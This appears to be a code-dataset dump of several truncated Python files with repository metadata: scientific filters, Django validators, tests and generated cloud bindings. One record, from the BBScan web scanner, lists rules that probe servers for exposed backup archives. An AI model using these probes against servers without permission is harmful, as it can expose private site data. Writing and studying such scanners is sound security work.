] | null | null | null | savu/plugins/filters/denoising/base_median_filter_tools.py | nghia-vo/Savu | 1cf7343c141224643b2e1fb2f05e74448bc4fd58 | [
"Apache-2.0"
] | null | null | null | from savu.plugins.plugin_tools import PluginTools
class BaseMedianFilterTools(PluginTools):
"""A plugin to apply 2D/3D median filter. The 3D capability is enabled
through padding. Note that the kernel_size in 2D will be kernel_size x
kernel_size and in 3D case kernel_size x kernel_size x kernel_size.
"... | 32.689655 | 77 | 0.60654 | 106 | 948 | 5.311321 | 0.54717 | 0.142096 | 0.058615 | 0.090586 | 0.094139 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0144 | 0.340717 | 948 | 28 | 78 | 33.857143 | 0.8864 | 0.679325 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
fbe11ee1b54340c89c30f000c67cbaa376e0508a | 3,028 | py | Python | scripts/scan_by_hostname_or_folder.py | NeolithEra/BBScan | d754e9664d05e0e80ec879ebed227ad713976196 | [
"Apache-2.0"
] | 1 | 2020-04-18T15:36:55.000Z | 2020-04-18T15:36:55.000Z | scripts/scan_by_hostname_or_folder.py | 321811788/BBScan | af852f3d0f2d98a0c5fde5823a15ec8d29c520ea | [
"Apache-2.0"
] | null | null | null | scripts/scan_by_hostname_or_folder.py | 321811788/BBScan | af852f3d0f2d98a0c5fde5823a15ec8d29c520ea | [
"Apache-2.0"
] | 1 | 2020-04-18T15:36:59.000Z | 2020-04-18T15:36:59.000Z | # /{hostname_or_folder}.zip {status=206} {type="application/"} {root_only}
# /{hostname_or_folder}.rar {status=206} {type="application/"} {root_only}
# /{hostname_or_folder}.tar.gz {status=206} {type="application/"} {root_only}
# /{hostname_or_folder}.tar.bz2 {status=206} {typ... | 56.074074 | 111 | 0.554491 | 349 | 3,028 | 4.601719 | 0.209169 | 0.123288 | 0.161893 | 0.298879 | 0.772105 | 0.749066 | 0.722914 | 0.619552 | 0.393524 | 0.244085 | 0 | 0.037787 | 0.265852 | 3,028 | 53 | 112 | 57.132075 | 0.68466 | 0.521466 | 0 | 0.166667 | 0 | 0 | 0.096842 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041667 | false | 0 | 0.041667 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
8398280950838898824ce2da38a075df0f144502 | 243 | py | Python | activflow/quotient/validators.py | mcgauranc/mosaiq | 33c4b7db8f3dd1ef18dc0b63d06fb05ee8df4de0 | [
"Apache-2.0"
] | 567 | 2016-03-27T11:44:29.000Z | 2021-06-12T14:06:55.000Z | activflow/tests/validators.py | NWUSTUDENT/ActivFlow | c5b3e340db9200b29fcaea778e0e6ed0f7ba491b | [
"Apache-2.0"
] | 14 | 2016-03-26T19:33:52.000Z | 2021-06-10T17:35:19.000Z | activflow/tests/validators.py | NWUSTUDENT/ActivFlow | c5b3e340db9200b29fcaea778e0e6ed0f7ba491b | [
"Apache-2.0"
] | 111 | 2016-03-31T18:33:14.000Z | 2021-06-12T14:06:57.000Z | """Custom validation logic"""
from django.core.exceptions import ValidationError
def validate_initial_cap(value):
"""Sample validation"""
if not value[0].isupper():
raise ValidationError('First character should be capital')
| 24.3 | 66 | 0.728395 | 28 | 243 | 6.25 | 0.892857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004902 | 0.160494 | 243 | 9 | 67 | 27 | 0.852941 | 0.168724 | 0 | 0 | 0 | 0 | 0.172775 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
83e8e0b2f9c02d8e24e0cd19f4fb645dcb4a4c19 | 97 | py | Python | sniffer/__init__.py | matham/sniffer | 3ecb999bce0c01bf770b774d11a2bfb7362e20f2 | [
"MIT"
] | null | null | null | sniffer/__init__.py | matham/sniffer | 3ecb999bce0c01bf770b774d11a2bfb7362e20f2 | [
"MIT"
] | null | null | null | sniffer/__init__.py | matham/sniffer | 3ecb999bce0c01bf770b774d11a2bfb7362e20f2 | [
"MIT"
] | null | null | null | '''
'''
__version__ = '0.1-dev'
device_config_name = 'Devices'
exp_config_name = 'experiment'
| 10.777778 | 30 | 0.680412 | 12 | 97 | 4.833333 | 0.833333 | 0.344828 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.024096 | 0.14433 | 97 | 8 | 31 | 12.125 | 0.674699 | 0 | 0 | 0 | 0 | 0 | 0.266667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
83f460a00cf60fe97299760a32cc20478b67569f | 281 | py | Python | audio_f.py | svnviet/TTS | dd951048d659e18f34b71530f34144e8625e20e1 | [
"MIT"
] | null | null | null | audio_f.py | svnviet/TTS | dd951048d659e18f34b71530f34144e8625e20e1 | [
"MIT"
] | 1 | 2020-04-19T14:32:59.000Z | 2020-04-19T14:32:59.000Z | audio_f.py | svnviet/TTS | dd951048d659e18f34b71530f34144e8625e20e1 | [
"MIT"
] | null | null | null | # from hparams import hparams
# from text import text_to_sequence
#
#
# def Sy(text):
# cleaner_names = [x.strip() for x in hparams.cleaners.split(',')]
# seq = text_to_sequence(text, cleaner_names)
# return text
# print(Sy('danh mục đầu tư (so với các mn)'))
| 28.1 | 71 | 0.651246 | 42 | 281 | 4.214286 | 0.642857 | 0.067797 | 0.158192 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.217082 | 281 | 9 | 72 | 31.222222 | 0.804545 | 0.900356 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
83f63344c8c2884cc3b5b8f00c73296312a3da18 | 1,357 | py | Python | tests/scaffolds/xunit/test_suite_setup_failure.py | filfreire/questions-three | 1d1d621d5647407bf2d1b271e0b9c7c9f1afc5c8 | [
"MIT"
] | 5 | 2019-07-22T06:04:07.000Z | 2021-07-23T06:01:51.000Z | tests/scaffolds/xunit/test_suite_setup_failure.py | filfreire/questions-three | 1d1d621d5647407bf2d1b271e0b9c7c9f1afc5c8 | [
"MIT"
] | 15 | 2020-07-28T17:33:40.000Z | 2021-08-23T17:30:05.000Z | tests/scaffolds/xunit/test_suite_setup_failure.py | filfreire/questions-three | 1d1d621d5647407bf2d1b271e0b9c7c9f1afc5c8 | [
"MIT"
] | 4 | 2019-08-25T22:41:59.000Z | 2020-10-21T14:28:15.000Z | from logging import StreamHandler
from unittest import TestCase, main
from expects import expect, equal
from twin_sister import open_dependency_context
from questions_three.event_broker import EventBroker, subscribe_event_handlers
from questions_three.scaffolds.xunit import TestSuite
from twin_sister.fakes import Emp... | 25.12963 | 83 | 0.683125 | 173 | 1,357 | 5.144509 | 0.473988 | 0.031461 | 0.047191 | 0.033708 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002921 | 0.243183 | 1,357 | 53 | 84 | 25.603774 | 0.863681 | 0.114959 | 0 | 0.090909 | 0 | 0 | 0.025489 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0.090909 | 0.212121 | 0 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
f7b45d31d5af3e815012795068a28de2e104dada | 837 | py | Python | head_first_design_patterns/decorator/pizza/pizza.py | incolumepy-cursos/poop | e4ac26b8d2a8c263a93fd9642fab52aafda53d80 | [
"MIT"
] | null | null | null | head_first_design_patterns/decorator/pizza/pizza.py | incolumepy-cursos/poop | e4ac26b8d2a8c263a93fd9642fab52aafda53d80 | [
"MIT"
] | null | null | null | head_first_design_patterns/decorator/pizza/pizza.py | incolumepy-cursos/poop | e4ac26b8d2a8c263a93fd9642fab52aafda53d80 | [
"MIT"
] | null | null | null | from abc import abstractmethod
"""
NOTES:
- Thickcrust and Thincrust are pizza, changing description and implement
your own price
- description in class Pizza is used as a default
- As an abstract method, cost should be implemented by subclasses.
It is used to formalize a contract between subclasse... | 22.026316 | 76 | 0.684588 | 103 | 837 | 5.475728 | 0.533981 | 0.042553 | 0.058511 | 0.056738 | 0.269504 | 0.269504 | 0.159574 | 0.159574 | 0.159574 | 0.159574 | 0 | 0.009539 | 0.248507 | 837 | 37 | 77 | 22.621622 | 0.887122 | 0 | 0 | 0.388889 | 0 | 0 | 0.151013 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.055556 | 0.166667 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
f7c6628a945394fac9c1407e41ed845e9d9851a1 | 6,723 | py | Python | src/pymates/markdown.py | weistn/pymates | c375b46469ebb23fdb29f81ec175837751d0f0ce | [
"BSD-3-Clause"
] | null | null | null | src/pymates/markdown.py | weistn/pymates | c375b46469ebb23fdb29f81ec175837751d0f0ce | [
"BSD-3-Clause"
] | null | null | null | src/pymates/markdown.py | weistn/pymates | c375b46469ebb23fdb29f81ec175837751d0f0ce | [
"BSD-3-Clause"
] | null | null | null | import os
import pymates.fonts
from pymates.dom import DocumentNode, ParagNode, StyleNode, SpanNode, MathNode, inline
from pymates.lom import Alignment
def document():
return DocumentNode(document)
def pagesize(size):
return style(pageSize=size)
@inline("counters")
def counter(node, counterFmt, refFmt, *name... | 28.978448 | 143 | 0.652239 | 817 | 6,723 | 5.337821 | 0.221542 | 0.047925 | 0.051594 | 0.041275 | 0.245127 | 0.124283 | 0.124283 | 0.124283 | 0.111901 | 0.094015 | 0 | 0.015451 | 0.172096 | 6,723 | 232 | 144 | 28.978448 | 0.768056 | 0.047449 | 0 | 0.088608 | 0 | 0 | 0.098561 | 0 | 0 | 0 | 0.001877 | 0.00431 | 0 | 1 | 0.316456 | false | 0 | 0.031646 | 0.265823 | 0.658228 | 0.006329 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
f7c70f678bb26d9c05f0d8b472e2413618e50c95 | 938 | py | Python | entities/recommendation.py | bitmarc/Recomendautos_Server | 4db5ca2f07d97d2f025f5879b4a25553c2eb2e72 | [
"OML"
] | null | null | null | entities/recommendation.py | bitmarc/Recomendautos_Server | 4db5ca2f07d97d2f025f5879b4a25553c2eb2e72 | [
"OML"
] | null | null | null | entities/recommendation.py | bitmarc/Recomendautos_Server | 4db5ca2f07d97d2f025f5879b4a25553c2eb2e72 | [
"OML"
] | null | null | null | '''
Clase que modela una entidad de recomendación, contiene la informacion de automoviles y perfil
'''
class Recommendation:
def __init__(self, id, arrAutomobiles, profile):
self.__id=id
self.__arrAutomobiles=arrAutomobiles
self.__profile=profile
def get_recommendation(self):
da... | 26.055556 | 100 | 0.668443 | 98 | 938 | 6.081633 | 0.377551 | 0.060403 | 0.07047 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.24307 | 938 | 36 | 101 | 26.055556 | 0.839437 | 0.100213 | 0 | 0.26087 | 0 | 0 | 0.035842 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.347826 | false | 0 | 0 | 0.130435 | 0.565217 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
f7df1b777d2fdeba30c848da1b2c74a7801a6a72 | 93 | py | Python | python/testData/intentions/returnTypeInPy3Annotation.py | truthiswill/intellij-community | fff88cfb0dc168eea18ecb745d3e5b93f57b0b95 | [
"Apache-2.0"
] | 2 | 2019-04-28T07:48:50.000Z | 2020-12-11T14:18:08.000Z | python/testData/intentions/returnTypeInPy3Annotation.py | truthiswill/intellij-community | fff88cfb0dc168eea18ecb745d3e5b93f57b0b95 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/intentions/returnTypeInPy3Annotation.py | truthiswill/intellij-community | fff88cfb0dc168eea18ecb745d3e5b93f57b0b95 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | def g(x):
return x
def f(x):
y = g(x.keys())
return y<caret>.startswith('foo')
| 11.625 | 37 | 0.526882 | 17 | 93 | 2.882353 | 0.588235 | 0.081633 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.268817 | 93 | 7 | 38 | 13.285714 | 0.720588 | 0 | 0 | 0 | 0 | 0 | 0.032258 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
790798beeadcf685cc4291097796e2d302a38fec | 239 | py | Python | revise/libs/python/pyste/src/Pyste/__init__.py | DD-L/deel.boost.python | e32cd62022bbf7c5822d150150330d988e041f02 | [
"MIT"
] | 198 | 2015-01-13T05:47:18.000Z | 2022-03-09T04:46:46.000Z | thirdparty/boost-python/libs/python/pyste/src/Pyste/__init__.py | alexa-infra/negine | d9060a7c83a41c95c361c470b56c2ddab3ba04de | [
"MIT"
] | 9 | 2015-01-28T16:33:19.000Z | 2020-04-12T23:03:28.000Z | thirdparty/boost-python/libs/python/pyste/src/Pyste/__init__.py | alexa-infra/negine | d9060a7c83a41c95c361c470b56c2ddab3ba04de | [
"MIT"
] | 139 | 2015-01-15T20:09:31.000Z | 2022-01-31T15:21:16.000Z | # Copyright Bruno da Silva de Oliveira 2003. Use, modification and
# distribution is subject to the Boost Software License, Version 1.0.
# (See accompanying file LICENSE_1_0.txt or copy at
# http://www.boost.org/LICENSE_1_0.txt)
| 34.142857 | 70 | 0.74477 | 39 | 239 | 4.461538 | 0.794872 | 0.034483 | 0.103448 | 0.137931 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.050761 | 0.175732 | 239 | 6 | 71 | 39.833333 | 0.832487 | 0.92887 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
791889e899a24dfc909dd3df7de14402132d5121 | 1,056 | py | Python | floreal/templatetags/floreal_filters.py | roco/circuit-court | a405e871fe044dee591e646b1d1523c8465e6054 | [
"MIT"
] | null | null | null | floreal/templatetags/floreal_filters.py | roco/circuit-court | a405e871fe044dee591e646b1d1523c8465e6054 | [
"MIT"
] | null | null | null | floreal/templatetags/floreal_filters.py | roco/circuit-court | a405e871fe044dee591e646b1d1523c8465e6054 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
from django import template
from floreal import models as m
register = template.Library()
@register.filter
def price(f):
return u"%.02f€" % f
@register.filter
def price_nocurrency(f):
return u"%.02f" % f
@register.filter
def weight(w):
if w>=1: return u"%.2... | 19.555556 | 97 | 0.650568 | 157 | 1,056 | 4.305732 | 0.420382 | 0.16568 | 0.201183 | 0.065089 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015403 | 0.200758 | 1,056 | 53 | 98 | 19.924528 | 0.783175 | 0.035985 | 0 | 0.242424 | 0 | 0 | 0.033465 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.242424 | false | 0 | 0.060606 | 0.151515 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
793b431cf5d0d878ea1f8b1e525e56a41bc825c6 | 171 | py | Python | tests/exploratory/multiple_basedirs/radish2/steps.py | temoctzin/radish | 1d904b9a7bf9eb5b263c86e3fc3a996956747ecc | [
"MIT"
] | null | null | null | tests/exploratory/multiple_basedirs/radish2/steps.py | temoctzin/radish | 1d904b9a7bf9eb5b263c86e3fc3a996956747ecc | [
"MIT"
] | null | null | null | tests/exploratory/multiple_basedirs/radish2/steps.py | temoctzin/radish | 1d904b9a7bf9eb5b263c86e3fc3a996956747ecc | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from radish import then
@then("I expect the result to be {result:g}")
def expect_result(step, result):
assert step.context.result == result
| 19 | 45 | 0.678363 | 26 | 171 | 4.423077 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007092 | 0.175439 | 171 | 8 | 46 | 21.375 | 0.808511 | 0.122807 | 0 | 0 | 0 | 0 | 0.243243 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f731b0e7750a7bea8517170165c3c68c3dc22cf8 | 844 | py | Python | setup.py | jbarbadillo/pycoinmon | 035e64652c533a569c6b236f54e12aff35ad82b1 | [
"MIT"
] | null | null | null | setup.py | jbarbadillo/pycoinmon | 035e64652c533a569c6b236f54e12aff35ad82b1 | [
"MIT"
] | null | null | null | setup.py | jbarbadillo/pycoinmon | 035e64652c533a569c6b236f54e12aff35ad82b1 | [
"MIT"
] | null | null | null | from setuptools import setup
from pycoinmon.metadata import Metadata
metadata = Metadata()
setup(
name = 'pycoinmon',
packages = ['pycoinmon'],
version = metadata.get_version(),
license = 'MIT',
description = 'Python Port Based on COINMON',
url = 'https://github.com/RDCH106/pycoinmon',
key... | 40.190476 | 115 | 0.575829 | 79 | 844 | 6.139241 | 0.531646 | 0.274227 | 0.360825 | 0.268041 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02459 | 0.277251 | 844 | 21 | 116 | 40.190476 | 0.770492 | 0 | 0 | 0 | 0 | 0 | 0.478107 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.105263 | 0 | 0.105263 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f7346818a39b5a17a62b2966aaea4541f1d02cd3 | 55,751 | py | Python | operators/elastic-cloud-eck/python/pulumi_pulumi_kubernetes_crds_operators_elastic_cloud_eck/enterprisesearch/v1beta1/_inputs.py | pulumi/pulumi-kubernetes-crds | 372c4c0182f6b899af82d6edaad521aa14f22150 | [
"Apache-2.0"
] | null | null | null | operators/elastic-cloud-eck/python/pulumi_pulumi_kubernetes_crds_operators_elastic_cloud_eck/enterprisesearch/v1beta1/_inputs.py | pulumi/pulumi-kubernetes-crds | 372c4c0182f6b899af82d6edaad521aa14f22150 | [
"Apache-2.0"
] | 2 | 2020-09-18T17:12:23.000Z | 2020-12-30T19:40:56.000Z | operators/elastic-cloud-eck/python/pulumi_pulumi_kubernetes_crds_operators_elastic_cloud_eck/enterprisesearch/v1beta1/_inputs.py | pulumi/pulumi-kubernetes-crds | 372c4c0182f6b899af82d6edaad521aa14f22150 | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by crd2pulumi. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
__all__ = [
'... | 57.832988 | 905 | 0.711413 | 6,858 | 55,751 | 5.67527 | 0.078157 | 0.068678 | 0.071761 | 0.037306 | 0.794841 | 0.705069 | 0.642198 | 0.578813 | 0.553403 | 0.524113 | 0 | 0.001773 | 0.200642 | 55,751 | 963 | 906 | 57.893043 | 0.871581 | 0.460512 | 0 | 0.270833 | 1 | 0 | 0.159318 | 0.105454 | 0 | 0 | 0 | 0 | 0 | 1 | 0.203125 | false | 0.001736 | 0.008681 | 0 | 0.326389 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f736ed591c705009f410e5f41e8edef29949cfa3 | 138 | py | Python | test/api_test.py | adi4387/titanic | d45a124781ba1cb2b194c179725f856faea8c082 | [
"MIT"
] | null | null | null | test/api_test.py | adi4387/titanic | d45a124781ba1cb2b194c179725f856faea8c082 | [
"MIT"
] | null | null | null | test/api_test.py | adi4387/titanic | d45a124781ba1cb2b194c179725f856faea8c082 | [
"MIT"
] | null | null | null | import json
import requests
data = json.dumps({'name':'Aditya'})
res = requests.post('http://127.0.0.1:10001/api', data)
print(res.text)
| 19.714286 | 55 | 0.695652 | 23 | 138 | 4.173913 | 0.73913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.088 | 0.094203 | 138 | 6 | 56 | 23 | 0.68 | 0 | 0 | 0 | 0 | 0 | 0.26087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0.2 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
f73a9408751376983aedf679f68c28c3da0028c9 | 140 | py | Python | config.py | bsoyka/sunset-bot | ea05000e52e1883ddba77ab754e5f733c8b3375c | [
"MIT"
] | 1 | 2021-06-21T16:58:48.000Z | 2021-06-21T16:58:48.000Z | config.py | bsoyka/sunset-bot | ea05000e52e1883ddba77ab754e5f733c8b3375c | [
"MIT"
] | 4 | 2021-08-13T16:52:51.000Z | 2021-09-01T13:05:42.000Z | config.py | sunset-vacation/bot | ea05000e52e1883ddba77ab754e5f733c8b3375c | [
"MIT"
] | 4 | 2021-06-21T22:16:12.000Z | 2021-08-11T21:01:19.000Z | from pathlib import Path
from dynamic_yaml import load
with (Path(__file__).parent / 'config.yaml').open() as f:
CONFIG = load(f)
| 23.333333 | 58 | 0.692857 | 21 | 140 | 4.380952 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.192857 | 140 | 5 | 59 | 28 | 0.814159 | 0 | 0 | 0 | 0 | 0 | 0.081481 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
f743ef1f6c6a7987bbec9b57f3aab00ae11ba480 | 112 | py | Python | nslocalizer.py | kolyadenko/nslocalizer | 70fab1f5bc6f0ebfe7f7e394dc1739ea50cde29a | [
"BSD-3-Clause"
] | 172 | 2016-09-03T22:27:37.000Z | 2022-03-09T03:35:49.000Z | nslocalizer.py | kolyadenko/nslocalizer | 70fab1f5bc6f0ebfe7f7e394dc1739ea50cde29a | [
"BSD-3-Clause"
] | 7 | 2016-12-19T12:22:50.000Z | 2019-05-03T06:38:46.000Z | nslocalizer.py | kolyadenko/nslocalizer | 70fab1f5bc6f0ebfe7f7e394dc1739ea50cde29a | [
"BSD-3-Clause"
] | 11 | 2016-09-04T14:04:13.000Z | 2021-05-21T12:05:16.000Z | #!/usr/bin/python
import nslocalizer
def main():
nslocalizer.main()
if __name__ == "__main__":
main() | 12.444444 | 26 | 0.651786 | 13 | 112 | 5 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1875 | 112 | 9 | 27 | 12.444444 | 0.714286 | 0.142857 | 0 | 0 | 0 | 0 | 0.083333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0.2 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f75ba07b5b28c452cc03c74482f21cbdd17a28fb | 174 | py | Python | catalog/urls.py | Rezakarimpy/SUS | 0cbb262a699326a412d46a81a32771bfcf48cc51 | [
"Apache-2.0"
] | null | null | null | catalog/urls.py | Rezakarimpy/SUS | 0cbb262a699326a412d46a81a32771bfcf48cc51 | [
"Apache-2.0"
] | null | null | null | catalog/urls.py | Rezakarimpy/SUS | 0cbb262a699326a412d46a81a32771bfcf48cc51 | [
"Apache-2.0"
] | null | null | null | from django.urls import path
from . import views
urlpatterns = [
path('', views.index, name='index'),
path('books/', views.BookListView.as_view(), name='books'),
] | 24.857143 | 63 | 0.66092 | 22 | 174 | 5.181818 | 0.590909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.16092 | 174 | 7 | 64 | 24.857143 | 0.780822 | 0 | 0 | 0 | 0 | 0 | 0.091429 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
f75de59575b5403a37c2104b2565c99adfed57c6 | 22,408 | py | Python | pysnmp/Nortel-MsCarrier-MscPassport-DataCollectionMIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
